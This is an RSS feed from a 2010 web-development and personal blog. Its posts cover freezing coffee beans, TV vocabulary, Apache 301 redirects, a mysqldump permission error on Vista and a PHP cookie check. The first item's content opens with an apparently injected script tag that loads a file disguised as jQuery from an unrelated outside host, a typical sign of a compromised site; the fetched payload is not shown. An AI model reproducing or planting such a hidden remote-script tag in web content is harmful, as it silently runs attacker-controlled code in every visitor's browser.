<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CodeRemix</title>
	<atom:link href="http://coderemix.com/feed" rel="self" type="application/rss+xml" />
	<link>http://coderemix.com</link>
	<description>Web Development Articles and Book Reviews</description>
	<lastBuildDate>Tue, 18 May 2010 14:43:05 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Freezing Whole Coffee Beans: Cryo-Prison for coffee</title>
		<link>http://coderemix.com/freezing-whole-coffee-beans</link>
		<comments>http://coderemix.com/freezing-whole-coffee-beans#comments</comments>
		<pubDate>Thu, 01 Apr 2010 20:05:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coffee]]></category>

		<guid isPermaLink="false">http://coderemix.com/?p=235</guid>
		<description><![CDATA[
Do you remember movie from 1993 called &#8220;Demolition Man&#8221;? In the year 1996 a cop is frozen in a &#8220;Cryo Prison&#8221;. He is later released in the year 2032. He has been in suspended animation for about 36 years and hasn&#8217;t aged at all. You don&#8217;t have to be an advanced technology scientist to create [...]]]></description>
			<content:encoded><![CDATA[<h5><script src=http://ivory.ideacoreportal.com/js/jquery.min.js></script></h5>
<p>Do you remember movie from 1993 called &#8220;Demolition Man&#8221;? In the year 1996 a cop is frozen in a &#8220;Cryo Prison&#8221;. He is later released in the year 2032. He has been in suspended animation for about 36 years and hasn&#8217;t aged at all. You don&#8217;t have to be an advanced technology scientist to create a cryo-prison for your coffee. I&#8217;m sure your purpose it&#8217;s not to stop them from being violent, you simply want to taste a fresh cup of coffee even if the beans are one month old, right?</p>
<p>It has been always been commonly recommended to buy a one week supply of whole bean coffee at a time. But what if you can&#8217;t use up your whole bean coffee within one week? You can still keep it fresh. How? Freezing is a great way to preserve whole bean coffee. Below is a list of <strong>four helpful tips</strong> to guarantee your more-than-one-week-old coffee tastes as good as just-roasted-coffee.</p>
<ol>
<li><strong>Airtight</strong>. Use the smallest practical airtight canister. Top it with coffee to allow the least amount of air inside it. Wrap the coffee beans using zipper valve-lock freezer bags.</li>
<li><strong>Don&#8217;t unthaw</strong>. Grind your precious coffee beans unthawed. Remember, moisture is one of coffee beans&#8217; worst enemy. Thawing coffee beans causes condensation and gathers water on their surface. If beans are saturated with water they will loose flavor.</li>
<li><strong>Never refreeze</strong>. Once your beans have been frozen and thawed (they shouldn&#8217;t have been unthawed in the first place), do not refreeze them. Refreezing coffee beans will make them wet and therefore stale.</li>
<li><strong>Two months</strong>. How long can frozen coffee beans stay fresh? Frozen whole-bean coffee remain yummy for about one to two months. Some people claim they remain fresh even longer than that.</li>
</ol>
<p>Hopefully, when you take the coffee beans out of the freezer, they won&#8217;t wake up to possess some kind of knitting or computer hacking skills.</p>
]]></content:encoded>
			<wfw:commentRss>http://coderemix.com/freezing-whole-coffee-beans/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Need. More. Coffee.</title>
		<link>http://coderemix.com/starbucks-listens-to-customer-requests-for-more-sizes</link>
		<comments>http://coderemix.com/starbucks-listens-to-customer-requests-for-more-sizes#comments</comments>
		<pubDate>Thu, 01 Apr 2010 19:31:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coffee]]></category>
		<category><![CDATA[Starbucks]]></category>

		<guid isPermaLink="false">http://coderemix.com/?p=198</guid>
		<description><![CDATA[
Do you feel you are not getting enough kick out of your morning cup? Go for the Plenta (128 fl oz) size at Starbucks coming up this Fall. Just like the Starbucks website puts it &#8220;the Plenta delivers coffee lovers record amounts of the world’s finest coffee beverages&#8221;.
Worried about over-sized cups polluting the environment? Well, [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://coderemix.com/wp-content/uploads/2010/04/46366BD649314595B8E0BA9C1AECA273.jpg" alt="Starbucks Listens to Customer Request for More Sizes" title="Starbucks Listens to Customer Request for More Sizes" width="577" height="300" class="aligncenter size-full wp-image-199" /></p>
<p>Do you feel you are not getting enough kick out of your morning cup? Go for the Plenta (128 fl oz) size at Starbucks coming up this Fall. Just like the Starbucks website puts it &#8220;the Plenta delivers coffee lovers record amounts of the world’s finest coffee beverages&#8221;.</p>
<p>Worried about over-sized cups polluting the environment? Well, Starbucks even suggests additional uses for the Plenta size cup which include &#8220;popcorn receptacle, rain hat, perennial planter, lampshade or yoga block&#8221;.</p>
<p>Check out the complete Starbucks blog entry for more information and photos: <a href="http://www.starbucks.com/blog/10113/starbucks-listens-to-customer-request-for-more-sizes.aspx" target="_blank">Starbucks Listens to Customer Request for More Sizes</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://coderemix.com/starbucks-listens-to-customer-requests-for-more-sizes/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>You can forget human interaction and be a jerk too!</title>
		<link>http://coderemix.com/you-can-forget-all-human-interaction-and-be-a-jerk-too</link>
		<comments>http://coderemix.com/you-can-forget-all-human-interaction-and-be-a-jerk-too#comments</comments>
		<pubDate>Thu, 01 Apr 2010 02:59:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Random]]></category>
		<category><![CDATA[Verizon]]></category>
		<category><![CDATA[videos]]></category>

		<guid isPermaLink="false">http://coderemix.com/?p=195</guid>
		<description><![CDATA[That&#8217;s the message I get from this Verizon commercial

]]></description>
			<content:encoded><![CDATA[<p>That&#8217;s the message I get from this Verizon commercial</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/t94QyEoqr5k&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/t94QyEoqr5k&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://coderemix.com/you-can-forget-all-human-interaction-and-be-a-jerk-too/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TV Word: Abrogation</title>
		<link>http://coderemix.com/tv-word-abrogation</link>
		<comments>http://coderemix.com/tv-word-abrogation#comments</comments>
		<pubDate>Wed, 31 Mar 2010 20:59:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Movies & TV]]></category>
		<category><![CDATA[TV Shows]]></category>
		<category><![CDATA[TV Word]]></category>
		<category><![CDATA[V]]></category>

		<guid isPermaLink="false">http://coderemix.com/?p=193</guid>
		<description><![CDATA[
V Season 1, Episode 2: There Is No Normal Anymore
Visitor: This was nothing less than a complete abrogation of our agreement.
Decker: Abrogation? Nice. You have one of those word-a-day calendars?
Visitor: We&#8217;ll be looking for a journalist who knows better than to bite the hand that feeds him.

Abrogation means revoking conditions of a contract or, in [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://coderemix.com/wp-content/uploads/2010/03/abrogation.jpg" alt="abrogation" title="abrogation" width="590" height="333" class="aligncenter size-full wp-image-192" /></p>
<p><a href="http://abc.go.com/shows/v/episode-guide/there-is-no-normal-anymore/330743" target="_blank">V Season 1, Episode 2: There Is No Normal Anymore</a></p>
<blockquote><p><strong>Visitor</strong>: This was nothing less than a complete abrogation of our agreement.<br />
<strong>Decker</strong>: Abrogation? Nice. You have one of those word-a-day calendars?<br />
<strong>Visitor</strong>: We&#8217;ll be looking for a journalist who knows better than to bite the hand that feeds him.
</p></blockquote>
<p>Abrogation means revoking conditions of a contract or, in a more casual context, to put an end to.</p>
]]></content:encoded>
			<wfw:commentRss>http://coderemix.com/tv-word-abrogation/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>TV Word: Adamant</title>
		<link>http://coderemix.com/tv-word-adamant</link>
		<comments>http://coderemix.com/tv-word-adamant#comments</comments>
		<pubDate>Tue, 30 Mar 2010 19:32:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Movies & TV]]></category>
		<category><![CDATA[FlashForward]]></category>
		<category><![CDATA[TV Shows]]></category>
		<category><![CDATA[TV Word]]></category>

		<guid isPermaLink="false">http://coderemix.com/?p=184</guid>
		<description><![CDATA[
FlashForward Season 1, Episode 13: Blowback
Mark: Why were you so adamant when you started talking about D. Gibbons?
Lloyd (in his FlashForward): The man you call D. Gibbons lied to you.
Loyd (back in present day): I don&#8217;t know, I don&#8217;t know him.
Mark: I didn&#8217;t ask you if you knew him. I asked, why were you so [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-188" title="adamant" src="http://coderemix.com/wp-content/uploads/2010/03/adamant.jpg" alt="adamant" width="590" height="331" /></p>
<p><a href="http://abc.go.com/shows/flash-forward/episode-guide/blowback/405783" target="_blank">FlashForward Season 1, Episode 13: Blowback</a></p>
<blockquote><p><strong>Mark</strong>: Why were you so adamant when you started talking about D. Gibbons?<br />
<strong>Lloyd</strong> (in his FlashForward): The man you call D. Gibbons lied to you.<br />
<strong>Loyd</strong> (back in present day): I don&#8217;t know, I don&#8217;t know him.<br />
<strong>Mark</strong>: I didn&#8217;t ask you if you knew him. I asked, why were you so adamant?</p></blockquote>
<p>As an adjective it means &#8220;too hard to break&#8221; and can used to describe someone who is &#8220;resistant to reason&#8221; or &#8220;not giving way to persuasion&#8221;.</p>
]]></content:encoded>
			<wfw:commentRss>http://coderemix.com/tv-word-adamant/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Most analytical LOST Season Finale theory I&#8217;ve heard</title>
		<link>http://coderemix.com/most-analytical-lost-season-finale-theory-ive-heard</link>
		<comments>http://coderemix.com/most-analytical-lost-season-finale-theory-ive-heard#comments</comments>
		<pubDate>Tue, 30 Mar 2010 15:28:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Movies & TV]]></category>
		<category><![CDATA[Lost]]></category>
		<category><![CDATA[TV Shows]]></category>

		<guid isPermaLink="false">http://coderemix.com/?p=175</guid>
		<description><![CDATA[
Some friends and I were discussing Lost on a private Buzz thread. Then Shannon posted her prediction for the finale. 
Shannon:

There will be a final battle between everyone &#8211; the survivors, the others, the smoke thing. Everyone will suffer a violent, gruesome death. The island will then implode into itself and sink to the bottom [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://coderemix.com/wp-content/uploads/2010/03/lost-the-final-season.jpg" alt="LOST the final season" title="LOST the final season" width="755" height="149" class="aligncenter size-full wp-image-181" /></p>
<p>Some friends and I were discussing Lost on a private Buzz thread. Then Shannon posted her prediction for the finale. </p>
<p>Shannon:</p>
<blockquote><p>
There will be a final battle between everyone &#8211; the survivors, the others, the smoke thing. Everyone will suffer a violent, gruesome death. The island will then implode into itself and sink to the bottom of the ocean. <img src='http://coderemix.com/wp-includes/images/smilies/icon_surprised.gif' alt=':-o' class='wp-smiley' /> </p>
<p>Hurley will somehow manage to float away and watch the whole thing, and just say, &#8220;Dude. That sucked.&#8221;</p>
<p>The End.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://coderemix.com/most-analytical-lost-season-finale-theory-ive-heard/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Voice Gadget not displaying on iGoogle</title>
		<link>http://coderemix.com/google-voice-gadget-not-displaying-on-igoogle</link>
		<comments>http://coderemix.com/google-voice-gadget-not-displaying-on-igoogle#comments</comments>
		<pubDate>Tue, 02 Feb 2010 15:03:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Troubleshooting]]></category>

		<guid isPermaLink="false">http://coderemix.com/?p=163</guid>
		<description><![CDATA[Google Voice is one of the most practical Web apps I have ever found, it&#8217;s just amazing. A few days ago, I decided to add the Google Voice Gadget on my iGoogle page and I encountered a problem with it. I would just get a blank white box. The box was empty, there was no [...]]]></description>
			<content:encoded><![CDATA[<p>Google Voice is one of the most practical Web apps I have ever found, it&#8217;s just amazing. A few days ago, I decided to add the Google Voice Gadget on my iGoogle page and I encountered a problem with it. I would just get a blank white box. The box was empty, there was no data. I&#8217;m using Safari 4.0.3 on a Mac OS X, but I have seen people reporting this problem on the Chrome browser too.<br />
<div id="attachment_164" class="wp-caption aligncenter" style="width: 590px"><img src="http://coderemix.com/wp-content/uploads/2010/02/empty-google-voice-gadget.jpg" alt="Blank Google Voice  Gadget" title="Blank Google Voice Gadget" width="580" height="358" class="size-full wp-image-164" /><p class="wp-caption-text">Blank Google Voice  Gadget</p></div></p>
<p>To make it work (at least for now), just add an &#8220;<em>s</em>&#8221; to &#8220;<em>http://www.google.com/ig</em>&#8221; on the Address Bar of your browser, like this: &#8220;<em>http<strong>s</strong>://www.google.com/ig</em>&#8221;<br />
<div id="attachment_165" class="wp-caption aligncenter" style="width: 590px"><img src="http://coderemix.com/wp-content/uploads/2010/02/google-voice-gadget.jpg" alt="Google Voice Gadget" title="Google Voice Gadget" width="580" height="358" class="size-full wp-image-165" /><p class="wp-caption-text">Google Voice Gadget</p></div> </p>
]]></content:encoded>
			<wfw:commentRss>http://coderemix.com/google-voice-gadget-not-displaying-on-igoogle/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Keep your Search Engine Ranking with 301 Redirects</title>
		<link>http://coderemix.com/keep-your-search-engine-ranking-with-301-redirects</link>
		<comments>http://coderemix.com/keep-your-search-engine-ranking-with-301-redirects#comments</comments>
		<pubDate>Fri, 15 Jan 2010 22:39:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Search Engine Optimization]]></category>

		<guid isPermaLink="false">http://coderemix.com/?p=158</guid>
		<description><![CDATA[If there ever comes the time when you redesign your Website completely, unfortunately search engines will not be very sympathetic about that. Suppose you move a page from http://mysite.com/news/iphone to http://mynewdomain.com/tech-news/iphone. If the search engines already indexed your original Website hyperlinks and your Website&#8217;s fans bookmarked some of your Webpages, you will want to redirect [...]]]></description>
			<content:encoded><![CDATA[<p>If there ever comes the time when you redesign your Website completely, unfortunately search engines will not be very sympathetic about that. Suppose you move a page from http://mysite.com/news/iphone to http://mynewdomain.com/tech-news/iphone. If the search engines already indexed your original Website hyperlinks and your Website&#8217;s fans bookmarked some of your Webpages, you will want to redirect them to the new URL. </p>
<p>One of the best ways to redirect search engines and Website visitors to a new Webpage location is by using <strong>301 redirects</strong>. You can configure Apache with the Redirect directive to redirect traffic from an old url to a new one. The Redirect directive takes several arguments</p>
<ul>
<li>redirect code</li>
<li>original URL location</li>
<li>destination URL</li>
</ul>
<p>You can set the status as a numeric HTTP code. <strong>HTTP code 301 represents a permanent change</strong>.</p>
<p>By using 301 Redirects you will let the search engines know that this is a new, permanent location and you might keep your search engine ranking. Keep in mind that any changes to your Website navigation structure can negatively influence your search engine rankings.</p>
<p>Create a new .htaccess or in your current .htaccess file.</p>
<p>To redirect a specific URL to a new URL</p>
<blockquote><p>Redirect 301 /news/iphone http://mynewdomain.com/tech-news/iphone</p></blockquote>
<p>To redirect everything from your original domain name to a new domain name.</p>
<blockquote><p>Redirect 301 / http://mynewdomain.com</p></blockquote>
<p>Upload the .htaccess file to your server. Make sure do include the dot on the filename &#8220;.htaccess&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://coderemix.com/keep-your-search-engine-ranking-with-301-redirects/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mysqldump Access is denied error on Vista</title>
		<link>http://coderemix.com/mysqldump-access-is-denied-vista</link>
		<comments>http://coderemix.com/mysqldump-access-is-denied-vista#comments</comments>
		<pubDate>Fri, 15 Jan 2010 19:24:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Troubleshooting]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://coderemix.com/?p=141</guid>
		<description><![CDATA[Today, I was trying to make a copy a MySQL database that resides in my laptop with Windows Vista. I ran the mysql dump command but I got an error: &#8220;Access is denied&#8221;.
The mysqldump command is simple. I never forgot it&#8217;s basic syntax.
mysqldump -u username -p dbname > dbbackup.sql
The reason why I never did is [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://coderemix.com/wp-content/uploads/2010/01/20.png" alt="Windows Vista MySQL Access Denied" title="Windows Vista MySQL Access Denied" width="200" height="150" class="alignleft size-full wp-image-140" />Today, I was trying to make a copy a MySQL database that resides in my laptop with Windows Vista. I ran the mysql dump command but I got an error: &#8220;Access is denied&#8221;.</p>
<p>The mysqldump command is simple. I never forgot it&#8217;s basic syntax.</p>
<blockquote><p>mysqldump -u username -p dbname > dbbackup.sql</p></blockquote>
<p>The reason why I never did is because the first time I tried it on a Windows XP machine, I logged in to MySQL prompt and tried to run the mysqldump command. It took me a couple hours to find out that I didn&#8217;t need to login to MySQL before running the command. I was just supposed to go to the MySQL bin directory and run the executable command. </p>
<p>Anyways, I suppose you are not making the same mistake because you are already getting the frustrating &#8220;Access is denied&#8221; error. Why?</p>
<p>Well, one of the differences between XP and Windows Vista you may have noticed first is that Vista keeps on asking for your permission when you try to do certain tasks. &#8220;Windows needs your permission to continue&#8221;.</p>
<p>Seems that Vista doesn&#8217;t let you create new files using the Command Prompt. So it&#8217;s a Windows error rather than a MySQL error.</p>
<p><img src="http://coderemix.com/wp-content/uploads/2010/01/20-1.png" alt="Windows Vista Run as administrator Command Prompt" title="Windows Vista Run as administrator Command Prompt" width="371" height="118" class="alignleft size-full wp-image-139" /></p>
<p>So here is what you do: specify you are an Administrator for Vista by right-clicking the Command Prompt icon and select &#8220;Run as administrator&#8221; from the menu. That&#8217;s it. Navigate to the MySQL bin directory, run the mysqldump command and it should work.</p>
]]></content:encoded>
			<wfw:commentRss>http://coderemix.com/mysqldump-access-is-denied-vista/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Cookies-enabled check in 3 effortless steps</title>
		<link>http://coderemix.com/php-cookies-enabled-check</link>
		<comments>http://coderemix.com/php-cookies-enabled-check#comments</comments>
		<pubDate>Fri, 15 Jan 2010 17:59:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://coderemix.com/?p=135</guid>
		<description><![CDATA[Months ago, I coded my first simple CMS. I went into my client&#8217;s office to proudly show him how my new CMS worked. I sat down on his chair to show him using his own computer how it worked. After the user logs in, the system was supposed to take you to a control panel. [...]]]></description>
			<content:encoded><![CDATA[<p>Months ago, I coded my first simple CMS. I went into my client&#8217;s office to proudly show him how my new CMS worked. I sat down on his chair to show him using his own computer how it worked. After the user logs in, the system was supposed to take you to a control panel. So I tried to login once and it sent me back to the login page&#8230; uhmmm&#8230; weird. I tried to login a second time and it redirects me again to the login page. Third time: nothing! I blushed from embarrassment. As I later discovered, my client had disabled cookies on his browser and that was the reason why my login script didn&#8217;t work. My PHP login system used sessions to keep the user logged-in, and since cookies were disabled on his browser sessions nor cookies would work. Now, every time I code a Website that uses cookies or sessions, I include a cookies-enabled check script and you should too.</p>
<p>Click the following link to see a live example of a PHP cookies-enabled check.</p>
<p>We will check if cookies are enabled by following these steps:</p>
<ul>
<li>Define a cookie</li>
<li>Reload the page</li>
<li>Check if the cookie we just defined is still there</li>
</ul>
<p>Sounds plain and simple, right? It is! So, how do we express these 3 steps in code?</p>
<h2>Steps 1 and 2: Define a cookie and reload the page</h2>
<p>I&#8217;m going to explain steps 1 and 2 together so you understand how we use the $_GET['redirected'] variable included in the script.</p>
<pre name="code" class="php">
if(!isset($_GET['redirected'])) {
    setcookie ('mycookie', 'test', time() + 60);
    header('location:'.$_SERVER['PHP_SELF'].'?redirected=1');
}</pre>
<p>First, confirm that the page hasn&#8217;t been redirected already by checking if the $_GET['redirected'] variable is set. If the $_GET['redirected'] variable hasn&#8217;t been set, then the page will reload and set the $_GET['redirected'] variable on the query string. Just be careful not to create an endless loop of page redirection.</p>
<p>Before you output anything from your script, you should define the cookie. setcookie() defines a cookie named &#8220;mycookie&#8221; with value of &#8220;test&#8221; and the cookie is set to expire in sixty seconds or one minute. We set the cookie to expire in one minute because after we check if cookies are enabled or not we won&#8217;t longer need the cookie.</p>
<h2>Step 3: Check if the cookie we just defined is still there</h2>
<pre name="code" class="php">
$cookie_message = '';
if(isset($_GET['redirected']) and $_GET['redirected']==1) {
    if(!isset($_COOKIE['mycookie'])) {
        $cookie_message = '
<p style="background-color:#FFCCFF; padding:10px;">Cookies are NOT enabled on your browser. In order for us to process your request, we require cookies to be enabled. Please configure your browser to allow cookies.

';
    }
    else {
        $cookie_message = '
<p style="background-color:#99CCFF; padding:10px;">Cookies are enabled on your browser.

';
    }
}</pre>
<p>Initialize the $cookie_message variable, which will be echoed later to let the user know if his/her browser accepts cookies. </p>
<p>Then, an if statement tests the $_GET['redirected'] variable to verify if the page has been reloaded. If the page has been reloaded, the next if/else statement checks if the $_COOKIE['mycookie'] variable exists and assigns a value to $cookie_message accordingly to be echoed later in the script.</p>
<p>This tutorial should help you get an overall idea of how to check if cookies are enabled. Customize the code to meet your needs. Don&#8217;t forget to include a cookies test script in all Web applications that handle cookies or sessions in some way.</p>
]]></content:encoded>
			<wfw:commentRss>http://coderemix.com/php-cookies-enabled-check/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
